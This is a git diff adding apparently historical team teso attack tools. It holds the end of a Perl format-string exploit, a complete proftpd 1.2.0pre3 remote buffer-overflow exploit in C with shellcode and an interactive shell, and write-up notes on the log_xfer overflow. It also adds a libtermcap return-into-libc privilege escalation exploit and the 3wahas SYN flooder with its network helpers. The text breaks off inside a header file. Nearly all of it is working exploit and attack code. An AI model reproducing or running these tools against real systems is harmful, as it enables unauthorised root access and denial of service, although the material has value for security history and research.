pack(c4, 0x0e, 0xc9, 0x06, 0x08) . "1234" . # GOT+2 + pack(c4, 0x0f, 0xc9, 0x06, 0x08); # GOT+3 + +$stackpop = "%p"x11; +$file .= $stackpop; + +#$file .= "%14d%n%69d%n%40d%n%192d%n"; + +# Should be fixed. If not, find the 4 values for +# %d yourself using gdb. This worked for me. +$file .= "%221d%n%158d%n%256d%n%192d%n"; + +open(O, ">$dir/$file") or die "$!"; +close O; + +system("/tmp/$shellcode", "..$dir/$file/"); + +exec("/tmp/boomsh"); + diff --git a/exploits/7350proftpd/pro.c b/exploits/7350proftpd/pro.c new file mode 100644 index 0000000..673ae41 --- /dev/null +++ b/exploits/7350proftpd/pro.c @@ -0,0 +1,472 @@ +/* proftp exploit for 1.2.0pre3 linux + * tested on suse 6.2 + * + * note, the shorter your domain name is, the more nops there are.... + * + * comments / criticisms to smiler@tasam.com + * + * smiler / teso + * + * [http://teso.scene.at] + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define PORT 2666 + +/* shellcode with 0xff's already doubled up... */ +char hellcode[]= + "\xeb\x21\x5b\x31\xc0\x31\xd2\x90\xfe\x0b\xfe\x4b\x04" + "\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0" + "\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\xda\xff\xff" + "\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68"; + +void parse_opts (int argc, char **argv); +int resolv (char *hostname, struct in_addr *addr); +void usage (char *s); +int tcp_connect (struct in_addr addr, unsigned short port); +int ftp_command (char *buf, int success, FILE *out, char *fmt, ...); +int send_exploit (FILE *stream); +int parse_pwd (char *str); +int stor_file (FILE *stream, char *buf); +void my_put_long (u_char *ptr, unsigned int l); +void RunShell (int fd); + +struct in_addr victim; +char init_dir[25], + username[25], + password[25], + hostname[50]; +int offset = 0; + +#define RET_ADDR 0xbffff662 + + +void +get_hostname (int fd) +{ + struct hostent *res; + struct sockaddr_in sa; + int len; + + fprintf (stderr, "Trying to get hostname...\n"); + + len = 16; + getsockname (fd, (struct sockaddr *)&sa, &len); + res = gethostbyaddr ((char *)&sa.sin_addr, sizeof (struct in_addr), + AF_INET); + if (res == NULL) { + fprintf (stderr, "no reverse address found...using ip\n"); + strcpy (hostname, inet_ntoa (sa.sin_addr)); + } else { + strcpy (hostname, res->h_name); + } + fprintf (stderr,"Hostname: %s\n", hostname); + return; +} + +/* open connection to server and call relevant functions + */ +int +talk (void) +{ + int fd; + int retval = 0; + FILE *stream; + char buf[1024]; + + if ((fd = tcp_connect (victim, 21)) < 0) { + perror ("connect"); + exit (-1); + } + + if (*hostname == '\0') + get_hostname (fd); + + if ((stream = fdopen (fd, "r")) == NULL) { + perror ("fdopen"); + exit (-1); + } + + /* get banner */ + fgets (buf, sizeof(buf) - 1, stream); + fputs (buf, stdout); + + + if (ftp_command (buf, 331, stream, "USER %s\n", username) < 0) { + fprintf (stderr, "Bad username\n"); + retval = -1; + goto err; + } + + if (ftp_command (buf, 230, stream, "PASS %s\n", password) < 0) { + fprintf (stderr, "Bad password\n"); + retval = -1; + goto err; + } + + if (send_exploit (stream) < 0) + return (-1); + + RunShell (fd); +err: + close (fd); + fclose (stream); + return (retval); +} + +/* helper function to make the final directory with shellcode in. + */ +void +make_egg (char *buf, int len) +{ + len += 3; /* kludge to offset number of 0xff's in shellcode */ + memset (buf, 0x90, len); + strcpy (buf + len - strlen (hellcode), hellcode); + buf[len] = '\0'; + return; +} + +/* + * start making directorys and call stor_file() + */ +int +send_exploit (FILE *stream) +{ + int pwdlen, + ctr; + char buf[1024], + tmp[1024]; + + bzero (buf, sizeof (buf)); + + if (*init_dir) + if (ftp_command (buf, 250, stream, "CWD %s\n", init_dir) < 0) { + fprintf (stderr, "Bad start directory\n"); + return (-1); + } + + if (ftp_command (buf, 257, stream, "PWD\n") < 0) { + fprintf (stderr, "Couldn't get current directory\n"); + return (-1); + } + + pwdlen = parse_pwd (buf); + bzero (password, sizeof (password)); + + fprintf (stderr, "Making padding directories\n"); + + for (ctr = 0; ctr < 4; ctr++) { + memset (tmp, 'A', 194); + tmp[194] = '\0'; + if (ftp_command (buf, 257, stream, "MKD %s\n", tmp) < 0) { + if (!strstr (buf, "File exists")) { + fputs (buf, stderr); + return (-1); + } + } + if (ftp_command (buf, 250, stream, "CWD %s\n", tmp) < 0) { + fputs (buf, stderr); + return (-1); + } + } + + /* make the padding directory. it also contains the shellcode. + * the STORed file will contain the return address + */ + ctr = 201 - pwdlen - strlen (hostname); + if ((ctr+10) < (strlen(hellcode))) { + fprintf (stderr, "no space for shellcode - try using a"\ + " shorter hostname and/or a shorter starting"\ + " directory\n"); + return (-1); + } + make_egg (tmp, ctr); + if (ftp_command (buf, 257, stream, "MKD %s\n", tmp) < 0) { + fputs (buf, stderr); + return (-1); + } + + if (ftp_command (buf, 250, stream, "CWD %s\n", tmp) < 0) { + fputs (buf, stderr); + return (-1); + } + + printf ("Press any key to send overflow\n"); + getchar (); + return (stor_file (stream, buf)); +} + +/* send STOR command to send final part of the overflow + */ +int +stor_file (FILE *stream, char *buf) +{ + u_char *ptr, *ptr2; + int listenfd, + accfd; + struct sockaddr_in sa, tmp; + int len; + char stor_string[30], + ret_string[6]; + + listenfd = socket (AF_INET, SOCK_STREAM, 0); + bzero (&sa, sizeof (sa)); + sa.sin_addr.s_addr = htonl (INADDR_ANY); + sa.sin_port = htons (0); + sa.sin_family = AF_INET; + + bind (listenfd, (struct sockaddr *)&sa, sizeof (sa)); + listen (listenfd, 1); + + /* get localip and src port */ + len = 16; + getsockname (fileno (stream), (struct sockaddr *)&tmp, &len); + getsockname (listenfd, (struct sockaddr *)&sa, &len); + ptr = (char *)&tmp.sin_addr; + ptr2 = (char *)&sa.sin_port; + if (ftp_command (buf, 200, stream, "PORT " \ + "%d,%d,%d,%d,%d,%d\n",ptr[0],ptr[1],ptr[2],ptr[3], + ptr2[0], ptr2[1]) < 0) { + fputs (buf, stderr); + close (listenfd); + return (-1); + } + + if (ftp_command (buf, 200, stream, "TYPE I\n") < 0) { + close (listenfd); + fputs (buf, stderr); + return (-1); + } + + bzero (stor_string, sizeof (stor_string)); + bzero (ret_string, sizeof (ret_string)); + my_put_long (ret_string, RET_ADDR + offset); + sprintf (stor_string, "aaaaaaaaaaa%s%s%s%s", ret_string, + ret_string, ret_string, ret_string); + + if (ftp_command (buf, 150, stream, "STOR %s\n", stor_string) < 0) { + close (listenfd); + fputs (buf, stderr); + return (-1); + } + + accfd = accept (listenfd, (struct sockaddr *)&sa, &len); + close (listenfd); + /* we dont' want to write anything ! */ + close (accfd); + ftp_command (buf, 226, stream, ""); /* Transfer complete */ + return (0); +} + +int +main (int argc, char **argv) +{ + puts ("proftp exploit by smiler of teso\n"); + + parse_opts (argc, argv); + + talk (); + return (0); +} + +void +parse_opts (int argc, char **argv) +{ + char c, + *argv0; + + argv0 = strdup (argv[0]); + + *init_dir = '\0'; + *hostname = '\0'; + + while ((c = getopt (argc, argv, "s:h:o:")) != -1) { + switch (c) { + case 's': + strncpy (init_dir, optarg, sizeof (init_dir)); + break; + case 'h': + strncpy (hostname, optarg, sizeof (hostname)); + break; + case 'o': + offset = atoi (optarg); + break; + } + } + + argc -= optind; + argv += optind; + + if (argc < 3) + usage (argv0); + + if (!resolv (argv[0], &victim)) { + herror ("resolv"); + usage (argv0); + } + + strncpy (username, argv[1], sizeof (username)); + strncpy (password, argv[2], sizeof (password)); + bzero (argv[2], strlen (argv[2])); + + free (argv0); + return; +} + +/* generic function to send a command to an ftp server and + * parse the response + * compares the return value from the ftp server to 'success' + */ +int +ftp_command (char *buf, int success, FILE *out, char *fmt, ...) +{ + va_list va; + char line[2048]; + + va_start (va, fmt); + vsprintf (line, fmt, va); + va_end (va); + + if (send (fileno (out), line, strlen (line), 0) <= 0) + return (-1); + + for (;;) { + fgets (line, sizeof (line) - 1, out); + if (*(line + 3) != '-') + break; + } + strncpy (buf, line, 1024); + + if (success != atoi (line)) + return (-1); + + return (1); +} + +int +parse_pwd (char *str) +{ + char *ptr, *ptr2; + + ptr = strchr (str, '\"'); + if (!ptr++) return (0); + + ptr2 = strchr (ptr + 1, '\"'); + if (!ptr2) return (0); + + *ptr2-- = '\0'; + while (*ptr2 == '/') *ptr2-- = '\0'; + + printf ("Start dir = %s\n", ptr); + return (strlen (ptr)); +} + +int +tcp_connect (struct in_addr addr, unsigned short port) +{ + struct sockaddr_in sa; + int fd; + + fd = socket (AF_INET, SOCK_STREAM, 0); + if (fd < 0) + return (-1); + + bzero (&sa, sizeof (sa)); + sa.sin_family = AF_INET; + sa.sin_port = htons (port); + sa.sin_addr.s_addr = victim.s_addr; + + if (connect (fd, (struct sockaddr *)&sa, sizeof (sa)) < 0) + return (-1); + + return (fd); +} + +int +resolv (char *hostname, struct in_addr *addr) +{ + struct hostent *res; + + if (inet_aton (hostname, addr)) + return (1); + + res = gethostbyname (hostname); + if (res == NULL) + return (0); + + memcpy ((char *)addr, res->h_addr, sizeof (struct in_addr)); + return (1); +} + +void +usage (char *s) +{ + fprintf (stderr,"usage: %s ", + s); + fputs ("[-s start directory] [-h your hostname]\n", stderr); + exit (-1); +} + +/* used to put the return address into the egg, doubling up the 0xff's + */ +void +my_put_long (u_char *ptr, unsigned int l) +{ + int i; + u_char *ptr2; + + ptr2 = (char *)&l; + for (i = 0; i < 4; i++) { + *ptr++ = *ptr2; + if (*ptr2 == 0xff) *ptr++ = 0xff; + ptr2++; + } + return; +} + +void +RunShell (int fd) +{ + u_char buf[1024]; + fd_set rset; + int n; + + for (;;) { + FD_ZERO (&rset); + FD_SET (fd, &rset); + FD_SET (STDIN_FILENO, &rset); + + n = select (fd + 1, &rset, NULL, NULL, NULL); + if (n <= 0) { + perror ("select"); + return; + } + + if (FD_ISSET (fd, &rset)) { + n = recv (fd, buf, sizeof (buf), 0); + if (n <= 0) { + fprintf (stderr, "Connection closed.\n"); + return; + } + write (STDOUT_FILENO, buf, n); + } + + if (FD_ISSET (STDIN_FILENO, &rset)) { + n = read (STDIN_FILENO, buf, sizeof (buf)); + if (n <= 0) + return; + + send (fd, buf, n, 0); + } + } +} diff --git a/exploits/7350proftpd/vulninfo b/exploits/7350proftpd/vulninfo new file mode 100644 index 0000000..18f1f27 --- /dev/null +++ b/exploits/7350proftpd/vulninfo @@ -0,0 +1,55 @@ +I know of at least 2 vulnerabilites in proftp, although looking at the +code there are probably hundreds more. + +The first one is in sreplace() and is overflowable by making lots of +nested paths. The overflow is in the form of a while loop where a pointer +to a local buffer is continually written to and incremented. It is +particularly difficult to exploit because you have to overwrite many +arguments on the stack, including an array of pointers and the pointer +itself ! Unless you can preserve the stack by being very cunning this is +effectively unexploitable. (it segfaults before the function returns). + +The second one is much nicer. it occurs in log_xfer when STOR command is +invoked. +-- + sprintf(buf,"%s %d %s %lu %s %c _ %c %c %s ftp 0 *\n", + fmt_time(time(NULL)),xfertime,remhost,fsize, + fname,xfertype,direction,access,user); +-- +where fname is the name of the file u are STORing and buf is the only +local buffer on the stack (1024 bytes long); + +This is not so easy since you have to take account of the length of the +arguments preceding fname, i.e. fmt_time(time(NULL)), xfertime, remhost, +fsize + heres a snippet from my xferlog file: +-- +Thu Dec 2 19:19:14 1999 0 localhost 0 /tmp/blah b _ i r dave ftp 0 * +-- +^^^^^^^^^^^^^^^^^^^^^^^^ +The formatted time is thankfully always the same size, 24 bytes, +the xfer time is dependant on how long you stay connected, preferably 0, +giving a 1 byte string. the hostname that the remote server sees, you +should be able to find out yourself for sure(try SMTP). +the fsize you should be able to control as well, in my case 0. + +So adding all that up gives an inital offset into the buffer of +30 + strlen(hostname) +therefore the distance until the end of the buffer is 996-strlen(hostname) +bytes + +consider the length of the buffer to be 996-strlen(hostname) + +Calculating the offset is quite difficult off hand but basically all you +have to do is create 4 big directorys (194 chars long), then another +directory approx 200 - strlen(initdir) - strlen(hostname) chars long with +the nops and shellcode. then STOR a 19 byte string with the return +addresses at the end. Note that this last directory has to have a length +<= 194 but this shouldn't be a problem unless you are writing to '/' with a +4 char hostname.... + +Hopefully this won't 'exploit' the first bug explained above because the +string we are sending is too small to overflow that buffer +(1004-strlen(hostname)). + +update: I just found out there is a far better (and easier!) way to exploit proftp which requires only anonymous and a file which you can read. it is still in log_xfer(). all you have to do is log in as anonymous with a really long password and do RETR somefile. the transfer (including your password) is logged, and voila. I have to get around to adding this. diff --git a/exploits/7350termcap/libtermcapsploit.c b/exploits/7350termcap/libtermcapsploit.c new file mode 100644 index 0000000..893ca0e --- /dev/null +++ b/exploits/7350termcap/libtermcapsploit.c @@ -0,0 +1,61 @@ +#include +#include +#include +#include +#include + +// yet another lame libtermcap<2.0.8-15 sploit by typo@scene.at (libc jumpback) +// only made this to bypass nonexecutable stack patches - http://teso.scene.at/ + +// Redhat 6 offsets (i only needed these) +int sys = 0x401bca40; // system +int sh = 0x4025ab12; // /bin/sh +int exi = 0x4020b910; // _exit +int ran = 0x401b9928; // random offset in libc +int eip = 2136; +#define fil "/tmp/teso_termcap" +#define xte "/usr/X11R6/bin/xterm" +#define entry "xterm|" + +int main(int argc, char **argv) { + char *buf; + int fd, buflen; + + argv++; + + if (argc>1) // dec,!hex args + sys = atoi(*(argv++)); + if (argc>2) + sh = atoi(*(argv++)); + if (argc>3) + exi = atoi(*(argv++)); + if (argc>4) + eip = atoi(*(argv++)); + + buflen = eip + 20; + + buf = (char *) malloc(buflen); + memset(buf, 'x', buflen); + buf[buflen] = 0; + + memcpy(buf, entry, strlen(entry)); + memcpy (buf+buflen-4,":\\y",3); + + memcpy(buf+eip,&sys,4); + memcpy(buf+eip+4,&exi,4); + memcpy(buf+eip+8,&sh,4); + memcpy(buf+eip+12,&ran,4); + + if ( (fd = open(fil, O_WRONLY|O_CREAT|O_TRUNC, "644"))<0) { + perror("cannot create file"); + exit(EXIT_FAILURE); + } + + write(fd,buf,buflen); + close(fd); + free(buf); + + setenv("TERMCAP", fil, 1); + execl(xte, "xterm", NULL); + exit(EXIT_SUCCESS); +} diff --git a/other/3wahas/3wahas.c b/other/3wahas/3wahas.c new file mode 100644 index 0000000..d1a119c --- /dev/null +++ b/other/3wahas/3wahas.c @@ -0,0 +1,51 @@ +/* phoenix - bah, fuckup + * + * by team teso + * + * + */ + +#include +#include +#include +#include +#include +#include "common.h" +#include "network.h" +#include "packet.h" +#include "3wahas.h" +#include "sniff.h" + + +int +main (int argc, char **argv) +{ + char *interface = "eth0"; + char *src_ip, *dst_ip; + u_short dst_prt; + + if (argc != 5) { + printf ("usage: %s \n\n", argv[0]); + exit (EXIT_FAILURE); + } + src_ip = argv[1]; + dst_ip = argv[2]; + dst_prt = atoi (argv[3]); + + if (fork () == 0) { + while (1) { + pq_syns (src_ip, dst_ip, dst_prt); + usleep (atoi (argv[4])); + } + } + + libnet_seed_prand (); + + printf ("3wahas "VERSION" by "AUTHORS" - rox0ring\n\n"); + + sniff_new (interface, dst_ip); + + exit (EXIT_SUCCESS); +} + + diff --git a/other/3wahas/3wahas.h b/other/3wahas/3wahas.h new file mode 100644 index 0000000..153cac4 --- /dev/null +++ b/other/3wahas/3wahas.h @@ -0,0 +1,12 @@ +/* zodiac - advanced dns spoofer + * + * by scut / teso + */ + +#ifndef Z_PHOENIX_H +#define Z_PHOENIX_H + +#define AUTHORS "team teso" +#define VERSION "v0.0.1" + +#endif diff --git a/other/3wahas/Makefile b/other/3wahas/Makefile new file mode 100644 index 0000000..5fa74ee --- /dev/null +++ b/other/3wahas/Makefile @@ -0,0 +1,27 @@ + +DFLAGS=-g -Wall -DDEBUG -DLIBNET_LIL_ENDIAN +LIBS=-lpcap -lnet +CC=gcc +CFLAGS=$(DFLAGS) +PREFIX=/usr/local + +all: 3wahas + +clean: + rm -f *.o 3wahas + +3wahas: common.o network.o sniff.o packet.o 3wahas.c + $(CC) $(CFLAGS) -o 3wahas 3wahas.c common.o sniff.o network.o packet.o $(LIBS) + +common.o: common.c + $(CC) $(CFLAGS) -c common.c + +network.o: network.c + $(CC) $(CFLAGS) -c network.c + +packet.o: packet.c + $(CC) $(CFLAGS) -c packet.c + +sniff.o: sniff.c + $(CC) $(CFLAGS) -c sniff.c + diff --git a/other/3wahas/README b/other/3wahas/README new file mode 100644 index 0000000..3dc66e5 --- /dev/null +++ b/other/3wahas/README @@ -0,0 +1,8 @@ +3wahas: +====== + +3wahas stands for 'three way handshake' and is a syn flooder that opens +a ''real'' connection on reply, so no linux syn cookies should help ;) + +written by team teso on the ccc camp '99 +http://teso.scene.at/ diff --git a/other/3wahas/common.c b/other/3wahas/common.c new file mode 100644 index 0000000..6f8f591 --- /dev/null +++ b/other/3wahas/common.c @@ -0,0 +1,296 @@ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "common.h" + +#ifdef DEBUG +void +debugp (char *filename, const char *str, ...) +{ + FILE *fp; /* temporary file pointer */ + va_list vl; + + fp = fopen (filename, "a"); + if (fp == NULL) + return; + + va_start (vl, str); + vfprintf (fp, str, vl); + va_end (vl); + + fclose (fp); + + return; +} + +void +hexdump (char *filename, unsigned char *data, unsigned int amount) +{ + FILE *fp; /* temporary file pointer */ + unsigned int dp, p; /* data pointer */ + const char trans[] = "................................ !\"#$%&'()*+,-./0123456789" + ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" + "nopqrstuvwxyz{|}~...................................." + "....................................................." + "........................................"; + + fp = fopen (filename, "a"); + if (fp == NULL) + return; + + fprintf (fp, "\n-packet-\n"); + + for (dp = 1; dp <= amount; dp++) { + fprintf (fp, "%02x ", data[dp-1]); + if ((dp % 8) == 0) + fprintf (fp, " "); + if ((dp % 16) == 0) { + fprintf (fp, "| "); + p = dp; + for (dp -= 16; dp < p; dp++) + fprintf (fp, "%c", trans[data[dp]]); + fflush (fp); + fprintf (fp, "\n"); + } + fflush (fp); + } + if ((amount % 16) != 0) { + p = dp = 16 - (amount % 16); + for (dp = p; dp > 0; dp--) { + fprintf (fp, " "); + if (((dp % 8) == 0) && (p != 8)) + fprintf (fp, " "); + fflush (fp); + } + fprintf (fp, " | "); + for (dp = (amount - (16 - p)); dp < amount; dp++) + fprintf (fp, "%c", trans[data[dp]]); + fflush (fp); + } + fprintf (fp, "\n"); + + fclose (fp); + return; +} + +#endif + + +/* m_random + * + * return a random number between `lowmark' and `highmark' + */ + +int +m_random (int lowmark, int highmark) +{ + long int rnd; + + /* flip/swap them in case user messed up + */ + if (lowmark > highmark) { + lowmark ^= highmark; + highmark ^= lowmark; + lowmark ^= highmark; + } + rnd = lowmark; + + srandom ((unsigned int) time (NULL)); + rnd += (random () % (highmark - lowmark)); + + /* this is lame, i know :) + */ + return (rnd); +} + + +/* set_tv + * + * initializes a struct timeval pointed to by `tv' to a second value of + * `seconds' + * + * return in any case + */ + +void +set_tv (struct timeval *tv, int seconds) +{ + tv->tv_sec = seconds; + tv->tv_usec = 0; + + return; +} + + +/* xstrupper + * + * uppercase a string `str' + * + * return in any case + */ + +void +xstrupper (char *str) +{ + for (; *str != '\0'; ++str) { + if (*str >= 'a' && *str <= 'z') { + *str -= ('a' - 'A'); + } + } + + return; +} + + +/* concating snprintf + * + * determines the length of the string pointed to by `os', appending formatted + * string to a maximium length of `len'. + * + */ + +void +scnprintf (char *os, size_t len, const char *str, ...) +{ + va_list vl; + char *ostmp = os + strlen (os); + + va_start (vl, str); + vsnprintf (ostmp, len - strlen (os) - 1, str, vl); + va_end (vl); + + return; +} + +unsigned long int +tdiff (struct timeval *old, struct timeval *new) +{ + unsigned long int time1; + + if (new->tv_sec >= old->tv_sec) { + time1 = new->tv_sec - old->tv_sec; + if ((new->tv_usec - 500000) >= old->tv_usec) + time1++; + } else { + time1 = old->tv_sec - new->tv_sec; + if ((old->tv_usec - 500000) >= new->tv_usec) + time1++; + } + + return (time1); +} + + +/* ipv4_print + * + * padding = 0 -> don't padd + * padding = 1 -> padd with zeros + * padding = 2 -> padd with spaces + */ + +char * +ipv4_print (char *dest, struct in_addr in, int padding) +{ + unsigned char *ipp; + + ipp = (unsigned char *) &in.s_addr; + + strcpy (dest, ""); + + switch (padding) { + case (0): + sprintf (dest, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); + break; + case (1): + sprintf (dest, "%03d.%03d.%03d.%03d", ipp[0], ipp[1], ipp[2], ipp[3]); + break; + case (2): + sprintf (dest, "%3d.%3d.%3d.%3d", ipp[0], ipp[1], ipp[2], ipp[3]); + break; + default: + break; + } + + return (dest); +} + + +void * +xrealloc (void *m_ptr, size_t newsize) +{ + void *n_ptr; + + n_ptr = realloc (m_ptr, newsize); + if (n_ptr == NULL) { + fprintf (stderr, "realloc failed\n"); + exit (EXIT_FAILURE); + } + + return (n_ptr); +} + + +char * +xstrdup (char *str) +{ + char *b; + + b = strdup (str); + if (b == NULL) { + fprintf (stderr, "strdup failed\n"); + exit (EXIT_FAILURE); + } + + return (b); +} + + +void * +xcalloc (int factor, size_t size) +{ + void *bla; + + bla = calloc (factor, size); + + if (bla == NULL) { + fprintf (stderr, "no memory left\n"); + exit (EXIT_FAILURE); + } + + return (bla); +} + +/* source by dk + */ + +char * +allocncat (char **to, char *from, size_t len) +{ + int rlen = strlen (from); + int null = *to == NULL; + + len = rlen < len ? rlen : len; + *to = realloc (*to, (null ? 0 : strlen (*to)) + len + 1); + if (null) + **to = '\0'; + + if (*to == NULL) + perror ("no memory: "); + + return (strncat (*to, from, len)); +} + +char * +alloccat (char **to, char *from) +{ + return (allocncat (to, from, strlen (from))); +} + diff --git a/other/3wahas/common.h b/other/3wahas/common.h new file mode 100644 index 0000000..9f982fe --- /dev/null +++ b/other/3wahas/common.h @@ -0,0 +1,26 @@ + +#include +#include +#include + +#ifndef Z_COMMON_H +#define Z_COMMON_H + +#ifdef DEBUG +void debugp (char *filename, const char *str, ...); +void hexdump (char *filename, unsigned char *data, unsigned int amount); +#endif +int m_random (int lowmark, int highmark); +void set_tv (struct timeval *tv, int seconds); +void xstrupper (char *str); +void scnprintf (char *os, size_t len, const char *str, ...); +unsigned long int tdiff (struct timeval *old, struct timeval *new); +char *ipv4_print (char *dest, struct in_addr in, int padding); +void *xrealloc (void *m_ptr, size_t newsize); +char *xstrdup (char *str); +void *xcalloc (int factor, size_t size); +char *allocncat (char **to, char *from, size_t len); +char *alloccat (char **to, char *from); + +#endif + diff --git a/other/3wahas/network.c b/other/3wahas/network.c new file mode 100644 index 0000000..0243306 --- /dev/null +++ b/other/3wahas/network.c @@ -0,0 +1,258 @@ + +/* zodiac - advanced dns spoofer + * + * network primitives + * + * by scut / teso + * + * nearly all of this code wouldn't have been possible without w. richard stevens + * excellent network coding book. if you are interested in network coding, + * there is no way around it. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "network.h" + + +int +net_parseip (char *inp, char **ip, unsigned short int *port) +{ + int n; + + if (inp == NULL) + return (0); + if (strchr (inp, ':') == NULL) + return (0); + + *ip = calloc (1, 256); + if (*ip == NULL) + return (0); + + n = sscanf (inp, "%[^:]:%hu", *ip, port); + if (n != 2) + return (0); + + *ip = realloc (*ip, strlen (*ip) + 1); + if (*ip == NULL || (*port < 1 || *port > 65535)) + return (0); + + return (1); +} + + +char * +net_getlocalip (void) +{ + struct sockaddr_in pf; + char name[255]; + + memset (name, '\0', sizeof (name)); + + if (gethostname (name, sizeof (name) - 1) == -1) { + return (NULL); + } + + pf.sin_addr.s_addr = net_resolve (name); + + return (strdup (inet_ntoa (pf.sin_addr)));; +} + + +void +net_ifi_free (struct ifi_info *tf) +{ + struct ifi_info *ifi, *ifil; + + ifil = NULL; + for (ifi = tf; ifi != NULL; ifi = ifi->ifi_next) { + if (ifil) + free (ifil); + if (ifi->ifi_addr) + free (ifi->ifi_addr); + ifil = ifi; + } + if (ifil) + free (ifil); + return; +} + + +struct ifi_info * +net_ifi_get (int family, int doaliases) +{ + struct ifi_info *ifi, *ifihead, **ifipnext; + int sockfd, len, lastlen, flags, myflags; + char *ptr, *buf, lastname[IFNAMSIZ], *cptr; + struct ifconf ifc; + struct ifreq *ifr, ifrcopy; + struct sockaddr_in *sinptr; + + sockfd = socket(AF_INET, SOCK_DGRAM, 0); + if (sockfd == -1) + return (NULL); + + lastlen = 0; + len = 100 * sizeof(struct ifreq); + for (;;) { + buf = malloc(len); + if (buf == NULL) + return (NULL); + ifc.ifc_len = len; + ifc.ifc_buf = buf; + if (ioctl(sockfd, SIOCGIFCONF, &ifc) < 0) { + if (errno != EINVAL || lastlen != 0) + return (NULL); + } else { + if (ifc.ifc_len == lastlen) + break; + lastlen = ifc.ifc_len; + } + len += 10 * sizeof(struct ifreq); + free (buf); + } + ifihead = NULL; + ifipnext = &ifihead; + lastname[0] = 0; + + for (ptr = buf; ptr < buf + ifc.ifc_len;) { + ifr = (struct ifreq *) ptr; + if (ifr->ifr_addr.sa_family == AF_INET) + len = sizeof(struct sockaddr); + ptr += sizeof(ifr->ifr_name) + len; + + if (ifr->ifr_addr.sa_family != family) + continue; + myflags = 0; + if ((cptr = strchr(ifr->ifr_name, ':')) != NULL) + *cptr = 0; + if (strncmp(lastname, ifr->ifr_name, IFNAMSIZ) == 0) { + if (doaliases == 0) + continue; + myflags = IFI_ALIAS; + } + memcpy(lastname, ifr->ifr_name, IFNAMSIZ); + + ifrcopy = *ifr; + if (ioctl(sockfd, SIOCGIFFLAGS, &ifrcopy) < 0) + return (NULL); + flags = ifrcopy.ifr_flags; + if ((flags & IFF_UP) == 0) + continue; + + ifi = calloc(1, sizeof(struct ifi_info)); + if (ifi == NULL) + return (NULL); + *ifipnext = ifi; + ifipnext = &ifi->ifi_next; + ifi->ifi_flags = flags; + ifi->ifi_myflags = myflags; + memcpy(ifi->ifi_name, ifr->ifr_name, IFI_NAME); + ifi->ifi_name[IFI_NAME - 1] = '\0'; + +#ifdef DEBUG + printf("got: %s\n", ifi->ifi_name); +#endif + + switch (ifr->ifr_addr.sa_family) { + case AF_INET: + sinptr = (struct sockaddr_in *) &ifr->ifr_addr; + memcpy(&ifi->ifi_saddr, &sinptr->sin_addr, sizeof(struct in_addr)); + if (ifi->ifi_addr == NULL) { + ifi->ifi_addr = calloc(1, sizeof(struct sockaddr_in)); + if (ifi->ifi_addr == NULL) + return (NULL); + memcpy(ifi->ifi_addr, sinptr, sizeof(struct sockaddr_in)); + } + break; + default: + break; + } + } + free (buf); + return (ifihead); +} + + +/* partly based on resolv routine from ? + */ + +unsigned long int +net_resolve (char *host) +{ + long i; + struct hostent *he; + + if (host == NULL) + return (htonl (INADDR_ANY)); + + if (strcmp (host, "*") == 0) + return (htonl (INADDR_ANY)); + + i = inet_addr (host); + if (i == -1) { + he = gethostbyname (host); + if (he == NULL) { + return (0); + } else { + return (*(unsigned long *) he->h_addr); + } + } + return (i); +} + + +int +net_printipr (struct in_addr *ia, char *str, size_t len) +{ + unsigned char *ipp; + + ipp = (unsigned char *) &ia->s_addr; + snprintf (str, len - 1, "%d.%d.%d.%d", ipp[3], ipp[2], ipp[1], ipp[0]); + + return (0); +} + + +int +net_printip (struct in_addr *ia, char *str, size_t len) +{ + unsigned char *ipp; + + ipp = (unsigned char *) &ia->s_addr; + snprintf (str, len - 1, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); + + return (0); +} + + +int +net_printipa (struct in_addr *ia, char **str) +{ + unsigned char *ipp; + + ipp = (unsigned char *) &ia->s_addr; + *str = calloc (1, 256); + if (*str == NULL) + return (1); + + snprintf (*str, 255, "%3d.%3d.%3d.%3d", ipp[0], ipp[1], ipp[2], ipp[3]); + *str = realloc (*str, strlen (*str) + 1); + + return ((*str == NULL) ? 1 : 0); +} + + diff --git a/other/3wahas/network.h b/other/3wahas/network.h new file mode 100644 index 0000000..b244165 --- /dev/null +++ b/other/3wahas/network.h @@ -0,0 +1,126 @@ + +/* zodiac - advanced dns spoofer + * + * ripped down network.c for use with zodiac + * + * by scut / teso + */ + +#ifndef Z_NETWORK_H +#define Z_NETWORK_H + +#include +#include +#include +#include + +#define IFI_NAME 16 +#define IFI_HADDR 8 + +/* struct ifi_info + * + * a linked list giving information about all the network interfaces available + * a pointer to this struct list is returned by net_get_ifi. + */ + +struct ifi_info { + char ifi_name[IFI_NAME]; + u_char ifi_haddr[IFI_HADDR]; + u_short ifi_hlen; + short ifi_flags; + short ifi_myflags; + struct sockaddr *ifi_addr; + struct in_addr ifi_saddr; + struct ifi_info *ifi_next; +}; + +#define IFI_ALIAS 1 + +typedef struct bound { + int bs; /* bound socket */ + unsigned short port; /* port we bound to */ + struct sockaddr bsa; /* bs_in */ +} bound; + +extern int net_readtimeout; +extern int net_conntimeout; +extern int net_identtimeout; + + +/* net_parseip + * + * read an ip in the format "1.1.1.1:299" or "blabla:481" into + * the char pointer *ip and into the port *port + * + * return 0 on failure + * return 1 on success + */ + +int net_parseip (char *inp, char **ip, unsigned short int *port); + + +/* net_getlocalip + * + * give back the main IP of the local machine + * + * return the local IP address as string on success + * return NULL on failure + */ + +char *net_getlocalip (void); + + +/* net_get_ifi + * + * get network interface information + * + * return NULL on failure + * return a pointer to a linked list structure ifi_info (see above) + */ + +struct ifi_info *net_ifi_get (int family, int doaliases); + + +/* net_ifi_free + * + * free the linked list associated with `tf'. + * + * return in any case + */ + +void net_ifi_free (struct ifi_info *tf); + + +/* net_resolve + * + * resolve a hostname pointed to by `host' into a s_addr return value + * + * return the correct formatted `s_addr' for this host on success + * return 0 on failure + */ + +unsigned long int net_resolve (char *host); + + +/* net_printip + * + * print an IP address stored in the struct in_addr pointed to by `ia' to a + * string `str' with a maximum length of `len'. + * + * return 0 on success + 